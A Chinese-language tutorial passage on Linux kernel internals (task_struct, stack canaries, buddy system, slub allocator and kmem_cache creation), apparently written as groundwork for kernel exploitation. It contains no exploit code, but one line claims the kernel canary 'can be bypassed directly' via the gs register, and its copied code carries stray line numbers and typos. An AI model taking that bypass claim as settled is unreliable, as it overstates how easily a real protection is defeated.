1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 struct task_struct {#ifdef CONFIG_THREAD_INFO_IN_TASK struct thread_info thread_info; #endif unsigned int __state; #ifdef CONFIG_PREEMPT_RT unsigned int saved_state; #endif randomized_struct_fields_start void *stack; refcount_t usage; unsigned int flags; unsigned int ptrace; [...] }
这是 task_struct
结构体的完整代码:task_struct
thread_info
结构存储在内核栈中,这种方式是最经典的。因为 task_struct
结构从1.0
到现在5.0
内核此结构一直在增大。如果将此结构放在内核栈中则很浪费内核栈的空间,thread_info
结构中有一个task_struct
的指针避免了内核栈空间过大。
1 2 3 4 5 6 union thread_union { struct thread_info thread_info; unsigned long stack[THREAD_SIZE/sizeof (long )]; }; #define THREAD_SIZE (2*PAGE_SIZE)
内核定义了一个thread_union
的联合体,联合体的作用就是thread_info
和stack
共用一块内存区域。而THREAD_SIZE
就是内核栈的大小,x86-64
定义THREAD_SIZE
的大小为8K
。
内核栈保护 STACK PROTECTOR 类似于用户态程序的 canary
,通常又被称作是 stack cookie
,用以检测是否发生内核堆栈溢出,若是发生内核堆栈溢出则会产生 kernel panic
。
开启: 在编译内核时,我们可以设置 CONFIG_CC_STACKPROTECTOR
选项,来开启该保护。
关闭: 我们需要重新编译内核,并关闭编译选项才可以关闭 Canary
保护。
内核中的canary
的值通常取自gs
段寄存器某个固定偏移处的值,可以直接绕过。
内核堆 概述 Linux kernel 将内存分为 页→区→节点
三级结构,主要有两个内存管理器—— buddy system
与 slab allocator
,前者负责以内存页为粒度管理所有可用的物理内存,后者则向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。
页→区→节点三级结构
这是一张十分经典的 Overview ,自顶向下是
页 (page,对应结构体 page)
区 (zone,对应结构体 zone,图上展示了三种类型的 zone)
节点 (node,对应结构体 pgdata_list)
页(page)
Linux kernel 中使用 page
结构体来表示一个物理页框,每个物理页框都有着一个对应的 page 结构体 。
区(zone)
在 Linux 下将一个节点内不同用途的内存区域划分为不同的 区(zone)
,对应结构体 struct zone
。
节点(node)
zone 再向上一层便是节点 ——Linux 将内存控制器(memory controller)作为节点划分的依据,对于 UMA 架构而言只有一个节点,而对于 NUMA 架构而言通常有多个节点,对于同一个内存控制器下的 CPU 而言其对应的节点称之为本地内存,不同处理器之间通过总线进行进一步的连接。如下图所示,一个 MC 对应一个节点。
buddy system
buddy system 是 Linux kernel 中的一个较为底层的内存管理系统,以内存页为粒度管理着所有的物理内存 ,其存在于 区 这一级别,对当前区所对应拥有的所有物理页框进行管理.在每个 zone 结构体中都有一个 free_area 结构体数组,用以存储 buddy system 按照 order 管理的页面 :
1 2 3 4 5 struct zone { struct free_area free_area [MAX_ORDER ]; }
其中的 MAX_ORDER
为一个常量,值为 11。在 buddy system 中按照空闲页面的连续大小进行分阶管理,这里的 order 的实际含义为连续的空闲页面的大小 ,不过单位不是页面数,而是阶
,即对于每个下标而言,其中所存储的页面大小为:2^oeder。
在 free_area 中存放的页面通过自身的相应字段连接成双向链表结构,由此我们得到这样一张 Overview:
分配:
首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。
若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
释放:
将对应的连续内存页释放到对应的链表上。
检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。
slub allocator
slab allocator 则是更为细粒度的内存管理器,其通过向 buddy system 请求单张或多张连续内存页后再分割成同等大小的对象 (object)返还给上层调用者来实现更为细粒度的内存管理。
slab allocator 一共有三种版本:
slab(最初的版本,机制比较复杂,效率不高)
slob(用于嵌入式等场景的极为简化版本)
slub(优化后的版本,现在的通用版本 )
slub 基本结构
slub
版本的 allocator 为现在绝大多数 Linux kernel 所装配的版本,因此本篇文章主要叙述的也是 slub allocator,其基本结构如下图所示:
我们将 slub allocator 每次向 buddy system 请求得来的单张 / 多张内存页称之为一个 slub
,其被分割为多个同等大小对象(object),每个 object 作为一个被分配实体,在 slub 的第一张内存页对应的 page 结构体上的 freelist 成员指向该张内存页上的第一个空闲对象,一个 slub 上的所有空闲对象组成一个以 NULL 结尾的单向链表。
一个 object 可以理解为用户态 glibc 中的 chunk,不过 object 并不像 chunk 那样需要有一个 header,因为 page 结构体与物理内存间存在线性对应关系,我们可以直接通过 object 地址找到其对应的 page 结构体。
kmem_cache
为一个基本的 allocator 组件,其用于分配某个特定大小(某种特定用途)的对象,所有的 kmem_cache 构成一个双向链表,并存在两个对应的结构体数组 kmalloc_caches
与 kmalloc_dma_caches
。
一个 kmem_cache
主要由两个模块组成:
kmem_cache_cpu
:这是一个 percpu 变量 (即每个核心上都独立保留有一个副本,原理是以 gs 寄存器作为 percpu 段的基址进行寻址),用以表示当前核心正在使用的 slub,因此当前 CPU 在从 kmem_cache_cpu 上取 object 时不需要加锁 ,从而极大地提高了性能。
kmem_cache_node
:可以理解为当前 kmem_cache 的 slub 集散中心,其中存放着两个 slub 链表:
partial:该 slub 上存在着一定数量的空闲 object,但并非全部空闲。
full:该 slub 上的所有 object 都被分配出去了。
slub 分配和释放
分配:
首先从 kmem_cache_cpu
上取对象,若有则直接返回。
若 kmem_cache_cpu
上的 slub 已经无空闲对象了,对应 slub 会被从 kmem_cache_cpu
上取下,并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu
上,然后再取出空闲对象返回。
若 kmem_cache_node
的 partial 链表也空了,那就向 buddy system 请求分配新的内存页 ,划分为多个 object 之后再给到 kmem_cache_cpu
,取空闲对象返回上层调用。
释放:
若被释放 object 属于 kmem_cache_cpu
的 slub,直接使用头插法插入当前 CPU slub 的 freelist。
若被释放 object 属于 kmem_cache_node
的 partial 链表上的 slub,直接使用头插法插入对应 slub 的 freelist。
若被释放 object 为 full slub,则其会成为对应 slub 的 freelist 头节点,且该 slub 会被放置到 partial 链表 。
buddy system 相关数据结构 以 Discontiguous Memory 模型为例,buddy system 相关的数据结构关系如下图所示:
node_data
node_data
是一个 pg_data_t
类型的结构体数组,其中每个元素代表一个内存节点。
1 pg_data_t node_data[MAX_NUMNODES];
其中 pg_data_t
中与 buddy system 相关的成员如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct zoneref { struct zone *zone ; int zone_idx; }; struct zonelist { struct zoneref _zonerefs [MAX_ZONES_PER_ZONELIST + 1]; }; typedef struct pglist_data { struct zone node_zones [MAX_NR_ZONES ]; struct zonelist node_zonelists [MAX_ZONELISTS ]; int nr_zones; ... } pg_data_t ;
node_zones
:该节点所拥有的 zones
。 并非所有的 zone 都已被填充,但这是一个满的列表。
node_zonelists
:记录 zone
的列表。通常一个内存节点包含两个 zonelist
,一个是 ZONELIST_FALLBACK
,表示本地的;另外一个是 ZONELIST_NOFALLBACK
,表示远端的。
nr_zones
:node_zones
中有效 zone
的数量。
zone
1 2 3 4 5 6 7 8 9 10 struct free_area { struct list_head free_list [MIGRATE_TYPES ]; unsigned long nr_free; }; struct zone { ... struct free_area free_area [MAX_ORDER ]; .... } ____cacheline_internodealigned_in_smp;
每个 zone
结构体中都有一个 free_area
结构体数组,用以存储 buddy system 按照 order
管理的页面。free_area
中第 i 个成员管理每块为连续 2^i 个内存页的内存。因为 MAX_ORDER
为11, buddy system 能分配的最大内存为 4MB 。
free_area
中并非只有 MAX_ORDER
个双向链表分别代表着不同的“迁移类型”(migrate type),这是由于页面迁移机制的存在。 页面迁移主要用以解决内核空间中的碎片问题,在长期的运行之后内存当中空闲页面的分布可能是零散的,这便导致了内核有可能无法映射到足够大的连续内存,因此需要进行页面迁移。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 enum migratetype { MIGRATE_UNMOVABLE, MIGRATE_MOVABLE, MIGRATE_RECLAIMABLE, MIGRATE_PCPTYPES, MIGRATE_HIGHATOMIC = MIGRATE_PCPTYPES, #ifdef CONFIG_CMA MIGRATE_CMA, #endif #ifdef CONFIG_MEMORY_ISOLATION MIGRATE_ISOLATE, #endif MIGRATE_TYPES };
但并非所有的页面都是能够随意迁移的,因此我们在 buddy system 当中还需要将页面按照迁移类型进行分类。迁移类型由一个枚举类型定义,定义于 /include/linux/mmzone.h
中,如下:
MIGRATE_UNMOVABLE
:这类型页面在内存当中有着固定的位置,不能移动。
MIGRATE_MOVABLE
:这类页面可以随意移动,例如用户空间的页面,我们只需要复制数据后改变页表映射即可。
MIGRATE_RECLAIMABLE
:这类页面不能直接移动,但是可以删除,例如映射自文件的页。
MIGRATE_PCPTYPES
:per_cpu_pageset
,即每 CPU 页帧缓存,其迁移仅限于同一节点内。
MIGRATE_CMA
:Contiguous Memory Allocator,即连续的物理内存。
MIGRATE_ISOLATE
:不能从该链表分配页面,该链表用于跨 NUMA 节点进行页面移动,将页面移动到使用该页面最为频繁的 CPU 所处节点。
MIGRATE_TYPES
:表示迁移类型的数目,并不存在这一链表。
nr_free
字段记录了在当前 free_area
中的空闲页面块的数量,对于 free_area[0]
以外的 free_area
而言其单位并非是单个页框,而是以内存块为单位。
page
我们不难看出:free_area
的 free_list
字段便是用以存放指向空闲页面的指针,其通过 page
结构体的 lru
字段将 page
结构体连接成双向链表。
1 2 3 4 5 6 7 8 9 10 struct page { ... union { struct { struct list_head lru ;
page
结构体中的 lru
这一字段的类型为 struct list_head
,这是内核编程中通用的双向链表结构,free_list
与 lru
链表都使用该字段 将页结构体组织为双向链表,即一个页是不可能同时出现在 lru
链表与 buddy system
中的。
alloc_context
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 struct zoneref { struct zone *zone ; int zone_idx; }; struct zonelist { struct zoneref _zonerefs [MAX_ZONES_PER_ZONELIST + 1]; }; struct alloc_context { struct zonelist *zonelist ; nodemask_t *nodemask; struct zoneref *preferred_zoneref ; int migratetype; enum zone_type high_zoneidx ; bool spread_dirty_pages; };
alloc_context
数据结构是一个内部临时使用的数据结构。
zonelist
指向每一个内存节点中对应的 zonelist
;
nodemask
表示内存节点的掩码;
preferred_zoneref
表示首选 zone
的 zoneref
;
migratetype
表示迁移类型;
high_zoneidx
分配掩码计算 zone
的 zoneidx
,表示这个分配掩码允许内存分配的最高 zone
;
spread_dirty_pages
用于指定是否传播脏页。
分配掩码 分配掩码是描述页面分配方法的标志,它影响着页面分配的整个流程。因为 Linux 内核是一个通用的操作系统,所以页面分配器被设计成一个复杂的系统。它既要高效,又要兼顾很多种情况,特别是在内存紧张的情况下的内存分配。gfp_mask
其实被定义成一个 unsigned
类型的变量。
1 typedef unsigned __bitwise gfp_t ;
内存管理区修饰符(zone modifier)。
移动修饰符(mobility and placement modifier)。
水位修饰符(watermark modifier)。
页面回收修饰符(page reclaim modifier)。
行为修饰符(action modifier)。
内存管理区修饰符
内存管理区修饰符主要用于表示应当从哪些内存管理区中来分配物理内存。内存管理区修饰符使用gfp_mask
的低 4 位来表示。
___GFP_DMA
:从 ZONE_DMA
中分配内存
___GFP_DMA32
:从 ZONE_DMA32
中分配内存
___GFP _HIGHMEM
:优先从 ZONE_HIGHMEM
中分配内存
___GFP_MOVABLE
:页面可以被迁移或者回收,如用于内存规整机制
移动修饰符
移动修饰符主要用于指示分配出来的页面具有的迁移属性。在 Linux2.6.24 内核中,为了解决外碎片化的问题,引入了迁移类型,因此在分配内存时需要指定所分配的页面具有哪些迁移属性。
___GFP_RECLAIMABLE
:在 slab 分配器中指定了 SLAB_RECLAIM_ACCOUNT
标志位,表示 slab 分配器中使用的页面可以通过收割机来回收
___GFP_HARDWALL
:使能 cpusect 内存分配策略
___GFP_THISNODE
:从指定的内存节点中分配内存,并且没有回退机制
___GFP_ACCOUNT
:分配过程会被 kmemcg 记录
水位修饰符
水位修饰符用于控制是否可以访问系统预留的内存。所谓系统预留内存指的是最低警戒水位以下的内存,一般优先级的分配请求是不能访问它们的,只有高优先级的分配请求才能访问,如 ___GFP_HIGH
、___GFP_ATOMIC
等。
___GFP_HIGH
:表示分配内存具有高优先级,并且这个分配请求是很有必要的,分配器可以使用系统预留的内存(即最低警戒水位线下的预留内存)
___GFP_ATOMIC
:表示分配内存的过程不能执行页面回收或者睡眠动作,并且具有很高的优先级,可以访问系统预留的内存。常见的一个场景是在中断上下文中分配内存
___GFP_MEMALLOC
:分配过程中允许访问所有的内存,包括系统预留的内存。分配内存进程通常要保证在分配内存过程中很快会有内存被释放,如进程退出或者页面回收
___GFP_NOMEMALLOC
:分配过程不允许访问系统预留的内存
页面回收修饰符
___GFP_IO
:允许开启I/O传输
___GFP_FS
:允许调用底层的文件系统。这个标志清零通常是为了避免死锁的发生,如果相应的文件系统操作路径上已经持有了锁,分配内存过程又递归地调用这个文件系统的相应操作路径,可能会产生死锁
___GFP_DIRECT_RECLAIM
:分配内存的过程中允许使用页面直接回收机制
___GFP_KSWAPD_RECLAIM
:表示当到达内存管理区的低水位时会唤醒 kswapd 内核线程,以异步地回收内存,直到内存管理区恢复到了高水位为止
___GFP_RECLAIM
:用于允许或者禁止直接页面回收和 kswapd 内核线程
___GFP_REPEAT
:当分配失败时会继续尝试
___GFP_NOFAIL
:当分配失败时会无限地尝试下去,直到分配成功为止。当分配者希望分配内存不失败时,应该使用这个标志位,而不是自己写一个 while 循环来不断地调用页面分配接口函数
___GFP_NORETRY
:当使用了直接页面回收和内存规整等机制还无法分配内存时,最好不要重复尝试分配了,直接返回 NULL
行为修饰符
___GFP_COLD
:分配的内存不会马上被使用。通常会返回一个空的高速缓存页面
___GFP_NOWARN
:关闭分配过程中的一些错误报告
___GFP_ZERO
:返回一个全部填充为 0 的页面
___GFP_NOTRACK
:不被kmemcheck 机制跟踪
___GFP_OTHER NODE
:在远端的一个内存节点上分配。通常在 khugepaged 内核线程中使用
类型标志
前文列出了 5 大类修饰符的标志,对于内核开发者或者驱动开发者来说,要正确使用这些标志是一件很困难的事情,因此定义了一些常用的标志的组合—类型标志(type flag)
GFP_KERNEL(__GFP_RECLAIM | __GFP_IO | __GFP_FS)
:内核分配内存常用的标志之一。它可能会被阻塞,即分配过程中可能会睡眠
GFP_ATOMIC(__GFP_HIGH|__GFP_ATOMIC|__GFP_KSWAPD_RECLAIM)
:调用者不能睡眠并且保证分配会成功。它可以访问系统预留的内存
GFP_NOWAIT(__GFP_KSWAPD_RECLAIM)
:分配中不允许睡眠等待
GFP_NOFS(__GFP_RECLAIM | __GFP_IO)
:不会访问任何的文件系统的接口和操作
GFP_NOIO(__GFP_RECLAIM)
:不需要启动任何的 I/O 操作。如使用直接回收机制丢弃干净的页面或者为 slab 分配的页面
GFP_USER(__GFP_RECLAIM | __GFP_IO | __GFP_FS | __GFP_HARDWALL)
:通常用户空间的进程用来分配内存,这些内存可以被内核或者硬件使用。常用的、一个场景是硬件使用的 DMA 缓冲器要映射到用户空间,如显卡的缓冲器
GFP_DMA/GFP_DMA32(__GFP_DMA/__GFP_DMA32)
:使用 ZONE_DMA
或者 ZONE_DMA32
来分配内存
GFP_HIGHUSER(GFP_USER | __GFP_HIGHMEM)
:用户空间进程用来分配内存,优先使用 ZONE_HIGHMEM
,这些内存可以映射到用户空间,内核空间不会直接访问这些内存。另外,这些内存不能迁移
GFP_HIGHUSER_MOVABLE(GFP_HIGHUSER | __GFP_MOVABLE)
:类似于 GFP_HIGHUSER
,但是页面可以迁移
GFP_TRANSHUGE/GFP_TRANSHUGE_LIGHT((GFP_TRANSHUGE_LIGHT | __GFP_DIRECT_RECLAIM)/((GFP_HIGHUSER_MOVABLE | __GFP_COMP | __GFP_NOMEMALLOC | __GFP_NOWARN) & ~__GFP_RECLAIM))
:通常用于透明页面分配
这些符号的定义保存在源码/source/include/linux/gfp.h 里面。
相关函数 分配物理页面
alloc_pages
1 2 static inline struct page *alloc_pages (gfp_t gfp_mask, unsigned int order) ;1
alloc_pages()
函数用来分配2^order个连续的物理页面,返回值是第一个物理页面的 page
数据结构。第一个参数是 gfp_mask
;第二个参数是 order
,请求的 order
需要小于 MAX_ORDER
,MAX_ORDER
通常默认是 11 。
__get_free_pages
1 2 unsigned long __get_free_pages(gfp_t gfp_mask, unsigned int order);1
_get_free_pages()
函数返回的是所分配内存的内核空间虚拟地址。如果所分配内存是线性映射的物理内存,则直接返回线性映射区域的内核空间虚拟地址;_get_free _pages()
函数不会使用高端内存,如果一定需要使用高端内存,最佳的办法是使用 alloc_pages()
函数以及 kmap()
函数。注意,在 64 位处理器的 Linux 内核中没有高端内存这个概念,它只实现在 32 位处理器的Linux内核中。
分配一个物理页面 如果需要分配一个物理页面,可以使用如下两个封装好的接口函数,它们最后仍调用 alloc_pages()
,只是 order
的值为 0 。
1 2 3 4 5 #define alloc_page(gfp_mask) alloc_pages(gfp_mask, 0) #define __get_free_page(gfp_mask) \ __get_free_pages((gfp_mask), 0) 1234
如果需要返回一个全填充为 0 的页面,可以使用如下接口函数。
1 2 unsigned long get_zeroed_page (gfp_t gfp_mask) 1
释放页面
1 2 3 4 5 void __free_pages(struct page *page, unsigned int order);void free_pages (unsigned long addr, unsigned int order) ;#define __free_page(page) __free_pages((page), 0) #define free_page(addr) free_pages((addr), 0) 1234
释放时需要特别注意参数,传递错误的 page
指针或者错误的 order
值会引起系统崩溃。free pages()
函数的第一个参数是待释放页面的 page
指针,第二个参数是 order
。 __free _page()
函数用于释放单个页面。
slub
相关数据结构 kmem_cache
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 struct kmem_cache { struct kmem_cache_cpu __percpu *cpu_slab ; slab_flags_t flags; unsigned long min_partial; unsigned int size; unsigned int object_size; unsigned int offset; #ifdef CONFIG_SLUB_CPU_PARTIAL unsigned int cpu_partial; #endif struct kmem_cache_order_objects oo ; struct kmem_cache_order_objects max ; struct kmem_cache_order_objects min ; gfp_t allocflags; int refcount; void (*ctor)(void *); unsigned int inuse; unsigned int align; unsigned int red_left_pad; const char *name; struct list_head list ; #ifdef CONFIG_SYSFS struct kobject kobj ; struct work_struct kobj_remove_work ; #endif #ifdef CONFIG_MEMCG struct memcg_cache_params memcg_params ; unsigned int max_attr_size; #ifdef CONFIG_SYSFS struct kset *memcg_kset ; #endif #endif #ifdef CONFIG_SLAB_FREELIST_HARDENED unsigned long random; #endif #ifdef CONFIG_NUMA unsigned int remote_node_defrag_ratio; #endif #ifdef CONFIG_SLAB_FREELIST_RANDOM unsigned int *random_seq; #endif #ifdef CONFIG_KASAN struct kasan_cache kasan_info ; #endif unsigned int useroffset; unsigned int usersize; struct kmem_cache_node *node [MAX_NUMNODES ]; };
kmem_cache_cpu
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct kmem_cache_cpu { void **freelist; unsigned long tid; struct page * page ; #ifdef CONFIG_SLUB_CPU_PARTIAL struct page *partial ; #endif #ifdef CONFIG_SLUB_STATS unsigned stat[NR_SLUB_STAT_ITEMS]; #endif };
kmem_cache_node
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 struct kmem_cache_node { spinlock_t list_lock; #ifdef CONFIG_SLUB unsigned long nr_partial; struct list_head partial ; #ifdef CONFIG_SLUB_DEBUG atomic_long_t nr_slabs; atomic_long_t total_objects; struct list_head full ; #endif #endif };
slab 以页为基本单位切割,然后用单向链表(fd指针)串起来,类似用户态堆的 fastbin,每一个小块我们叫它 object 。
注意:object 的 freelist 指针偏移是 kmem_cache.offset 而不是 0,虽然大多数情况 kmem_cache.offset 默认为 0 。
1 2 3 4 5 6 7 8 9 10 static inline void set_freepointer (struct kmem_cache *s, void *object, void *fp) { unsigned long freeptr_addr = (unsigned long )object + s->offset; #ifdef CONFIG_SLAB_FREELIST_HARDENED BUG_ON(object == fp); #endif *(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr); }
object
结构如下图所示:
kmem_cache 创建 slub 分配器把伙伴系统提供的内存内存切割成特定大小的块,进行内核的小内存分配。
具体来说,内核会预先定义一些 kmem_cache
结构体,它保存着要如何分割使用内存页的信息,可以通过 cat /proc/slabinfo
查看系统当前可用的 kmem_cache
。
内核很多的结构体会频繁的申请和释放内存,用 kmem_cache
来管理特定的结构体所需要申请的内存效率上就会比较高,也比较节省内存。默认会创建 kmalloc-8k
,kmalloc-4k
,… ,kmalloc-16
,kmalloc-8
这样的 cache ,kmem_cache
的名称以及大小使用 struct kmalloc_info_struct
管理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const struct kmalloc_info_struct kmalloc_info [] __initconst = { {NULL , 0 }, {"kmalloc-96" , 96 }, {"kmalloc-192" , 192 }, {"kmalloc-8" , 8 }, {"kmalloc-16" , 16 }, {"kmalloc-32" , 32 }, {"kmalloc-64" , 64 }, {"kmalloc-128" , 128 }, {"kmalloc-256" , 256 }, {"kmalloc-512" , 512 }, {"kmalloc-1024" , 1024 }, {"kmalloc-2048" , 2048 }, {"kmalloc-4096" , 4096 }, {"kmalloc-8192" , 8192 }, {"kmalloc-16384" , 16384 }, {"kmalloc-32768" , 32768 }, {"kmalloc-65536" , 65536 }, {"kmalloc-131072" , 131072 }, {"kmalloc-262144" , 262144 }, {"kmalloc-524288" , 524288 }, {"kmalloc-1048576" , 1048576 }, {"kmalloc-2097152" , 2097152 }, {"kmalloc-4194304" , 4194304 }, {"kmalloc-8388608" , 8388608 }, {"kmalloc-16777216" , 16777216 }, {"kmalloc-33554432" , 33554432 }, {"kmalloc-67108864" , 67108864 } };
这样内核调用 kmalloc
函数时就可以根据申请的内存大小找到对应的 kmalloc-xx
,然后在里面找可可用的内存块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 static __always_inline int kmalloc_index (size_t size) { if (!size) return 0 ; if (size <= KMALLOC_MIN_SIZE) return KMALLOC_SHIFT_LOW; if (KMALLOC_MIN_SIZE <= 32 && size > 64 && size <= 96 ) return 1 ; if (KMALLOC_MIN_SIZE <= 64 && size > 128 && size <= 192 ) return 2 ; if (size <= 8 ) return 3 ; if (size <= 16 ) return 4 ; if (size <= 32 ) return 5 ; if (size <= 64 ) return 6 ; if (size <= 128 ) return 7 ; if (size <= 256 ) return 8 ; if (size <= 512 ) return 9 ; if (size <= 1024 ) return 10 ; if (size <= 2 * 1024 ) return 11 ; if (size <= 4 * 1024 ) return 12 ; if (size <= 8 * 1024 ) return 13 ; if (size <= 16 * 1024 ) return 14 ; if (size <= 32 * 1024 ) return 15 ; if (size <= 64 * 1024 ) return 16 ; if (size <= 128 * 1024 ) return 17 ; if (size <= 256 * 1024 ) return 18 ; if (size <= 512 * 1024 ) return 19 ; if (size <= 1024 * 1024 ) return 20 ; if (size <= 2 * 1024 * 1024 ) return 21 ; if (size <= 4 * 1024 * 1024 ) return 22 ; if (size <= 8 * 1024 * 1024 ) return 23 ; if (size <= 16 * 1024 * 1024 ) return 24 ; if (size <= 32 * 1024 * 1024 ) return 25 ; if (size <= 64 * 1024 * 1024 ) return 26 ; return -1 ; }
创建默认的 kmem_cache
过程存在如下调用链:
1 2 3 4 5 6 7 x86_64_start_kernel() x86_64_start_reservations() start_kernel() mm_init() kmem_cache_init() create_kmalloc_caches() new_kmalloc_cache()
在 new_kmalloc_cache
中根据 kmalloc_info
的信息创建对应的 kmalloc_cache
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 static void __initnew_kmalloc_cache (int idx, int type, slab_flags_t flags) { const char *name; if (type == KMALLOC_RECLAIM) { flags |= SLAB_RECLAIM_ACCOUNT; name = kmalloc_cache_name("kmalloc-rcl" , kmalloc_info[idx].size); BUG_ON(!name); } else { name = kmalloc_info[idx].name; } kmalloc_caches[type][idx] = create_kmalloc_cache(name, kmalloc_info[idx].size, flags, 0 , kmalloc_info[idx].size); }
这里可以看到默认创建的 kmem_cache
的地址被保存在 kmalloc_caches
因此可以通过该结构获得 kmem_cache
的地址,从而获取到重要调试信息,比如 freelist
在 object
中的偏移 offset
。
create_kmalloc_cache
函数调用了核心函数 create_boot_cache
,之后 list_add
将创建的 kmem_cache
加入到 slab_caches
链表中。内核全局有一个 slab_caches
变量,它是一个链表,系统所有的 kmem_cache
都接在这个链表上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct kmem_cache *__init create_kmalloc_cache (const char *name, unsigned int size, slab_flags_t flags, unsigned int useroffset, unsigned int usersize) { struct kmem_cache *s = kmem_cache_zalloc(kmem_cache, GFP_NOWAIT); if (!s) panic("Out of memory when creating slab %s\n" , name); create_boot_cache(s, name, size, flags, useroffset, usersize); list_add(&s->list , &slab_caches); memcg_link_cache(s); s->refcount = 1 ; return s; }
create_boot_cache
初始化了相关信息,之后调用 __kmem_cache_create
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void __init create_boot_cache (struct kmem_cache *s, const char *name, unsigned int size, slab_flags_t flags, unsigned int useroffset, unsigned int usersize) { int err; s->name = name; s->size = s->object_size = size; s->align = calculate_alignment(flags, ARCH_KMALLOC_MINALIGN, size); s->useroffset = useroffset; s->usersize = usersize; slab_init_memcg_params(s); err = __kmem_cache_create(s, flags); if (err) panic("Creation of kmalloc slab %s size=%u failed. Reason %d\n" , name, size, err); s->refcount = -1 ; }
__kmem_cache_create
调用了 kmem_cache_open
函数,该函数做了很多重要的初始化操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 static int calculate_sizes (struct kmem_cache *s, int forced_order) { slab_flags_t flags = s->flags; unsigned int size = s->object_size; unsigned int order; size = ALIGN(size, sizeof (void *)); #ifdef CONFIG_SLUB_DEBUG if ((flags & SLAB_POISON) && !(flags & SLAB_TYPESAFE_BY_RCU) && !s->ctor) s->flags |= __OBJECT_POISON; else s->flags &= ~__OBJECT_POISON; if ((flags & SLAB_RED_ZONE) && size == s->object_size) size += sizeof (void *); #endif s->inuse = size; if (((flags & (SLAB_TYPESAFE_BY_RCU | SLAB_POISON)) || s->ctor)) { s->offset = size; size += sizeof (void *); } #ifdef CONFIG_SLUB_DEBUG if (flags & SLAB_STORE_USER) size += 2 * sizeof (struct track); #endif kasan_cache_create(s, &size, &s->flags); #ifdef CONFIG_SLUB_DEBUG if (flags & SLAB_RED_ZONE) { size += sizeof (void *); s->red_left_pad = sizeof (void *); s->red_left_pad = ALIGN(s->red_left_pad, s->align); size += s->red_left_pad; } #endif size = ALIGN(size, s->align); s->size = size; if (forced_order >= 0 ) order = forced_order; else order = calculate_order(size); if ((int )order < 0 ) return 0 ; s->allocflags = 0 ; if (order) s->allocflags |= __GFP_COMP; if (s->flags & SLAB_CACHE_DMA) s->allocflags |= GFP_DMA; if (s->flags & SLAB_RECLAIM_ACCOUNT) s->allocflags |= __GFP_RECLAIMABLE; s->oo = oo_make(order, size); s->min = oo_make(get_order(size), size); if (oo_objects(s->oo) > oo_objects(s->max)) s->max = s->oo; return !!oo_objects(s->oo); } static int kmem_cache_open (struct kmem_cache *s, slab_flags_t flags) { s->flags = kmem_cache_flags(s->size, flags, s->name, s->ctor); #ifdef CONFIG_SLAB_FREELIST_HARDENED s->random = get_random_long(); #endif if (!calculate_sizes(s, -1 )) goto error; if (disable_higher_order_debug) { if (get_order(s->size) > get_order(s->object_size)) { s->flags &= ~DEBUG_METADATA_FLAGS; s->offset = 0 ; if (!calculate_sizes(s, -1 )) goto error; } } #if defined(CONFIG_HAVE_CMPXCHG_DOUBLE) && \ defined(CONFIG_HAVE_ALIGNED_STRUCT_PAGE) if (system_has_cmpxchg_double() && (s->flags & SLAB_NO_CMPXCHG) == 0 ) s->flags |= __CMPXCHG_DOUBLE; #endif set_min_partial(s, ilog2(s->size) / 2 ); set_cpu_partial(s); #ifdef CONFIG_NUMA s->remote_node_defrag_ratio = 1000 ; #endif if (slab_state >= UP) { if (init_cache_random_seq(s)) goto error; } if (!init_kmem_cache_nodes(s)) goto error; if (alloc_kmem_cache_cpus(s)) return 0 ; free_kmem_cache_nodes(s); error: if (flags & SLAB_PANIC) panic("Cannot create slab %s size=%u realsize=%u order=%u offset=%u flags=%lx\n" , s->name, s->size, s->size, oo_order(s->oo), s->offset, (unsigned long )flags); return -EINVAL; }
分配
kmem_cache 刚刚建立,还没有任何对象可供分配,此时只能从伙伴系统分配一个 slab ,如下图所示。
如果正在使用的 slab 有 free obj,那么就直接分配即可,这种是最简单快捷的。如下图所示。
随着正在使用的 slab 中 obj 的一个个分配出去,最终会无 obj 可分配,此时 per cpu partial 链表中有可用 slab 用于分配,那么就会从 per cpu partial 链表中取下一个 slab 用于分配 obj。如下图所示。
随着正在使用的 slab 中 obj 的一个个分配出去,最终会无 obj 可分配,此时 per cpu partial 链表也为空,此时发现 per node partial 链表中有可用 slab 用于分配,那么就会从 per node partial 链表中取下一个 slab 用于分配 obj。如下图所示。
释放
